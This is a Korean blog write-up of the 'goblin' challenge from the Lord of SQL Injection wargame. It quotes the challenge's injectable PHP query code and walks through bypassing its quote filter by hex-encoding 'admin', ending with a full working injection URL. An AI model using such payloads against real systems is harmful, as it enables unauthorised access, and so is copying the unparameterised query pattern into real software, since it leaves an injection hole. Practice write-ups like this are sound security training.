write-up/LOS write-up

LOS (Lord of SQL injection) 문제 3번 goblin write-up

정보보호학과 새내기 2021. 7. 6. 00:18
반응형

문제 3번 - goblin

 

query : select id from prob_goblin where id='guest' and no=

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

 

다른 문제들과 마찬가지로 php코드가 주어져있다.

 

먼저 필터링함수를 확인해보면 문제1,2번과 마찬가지로 prob와 _ , . , ( , )을 필터링하고 문제 1,2번과 다르게 '와 "를 필터링하는 것을 알 수 있다. 추가로 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다.

<?php 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
?>

 

또 clear조건을 확인하기 위해 조건문 코드를 계속 확인해보면 result에 참인 값이 들어가면 되는 것이 아니라 result에 id가 admin이어야한다는 것을 알 수 있다. 

<?php 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>

 

위와 같이 admin이라는 문자열을 입력하기 위해 필요한 '와 "를 필터링한다면 문자열인 admin을 hex값으로 바꾸어 넣는다면 우회할 수 있다는 것을 알게 되었다. 따라서 admin을 hex값으로 변환한 값인 61646d696e을 입력하면 된다.

 

16진법을 사용할 때는 hex값 앞에 0x를 붙여서 뒤에 해당하는 것이 hex 값이라는 것을 구분한다.

 

지금 코드에서는 no에 어떤 값이 들어가도 상관이 없으니 아무 값이나 넣어 주고 2번과 마찬가지로 or id=admin(hex값) and 1=1 %23을 입력해준다.

 

따라서 해당 주소 php 뒤에 no=2%20or%20id=0x61646d696e%20and%201=1%23을 입력한다.

 

solve

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id=0x61646d696e%20and%201=1%23 

클리어 화면

 

반응형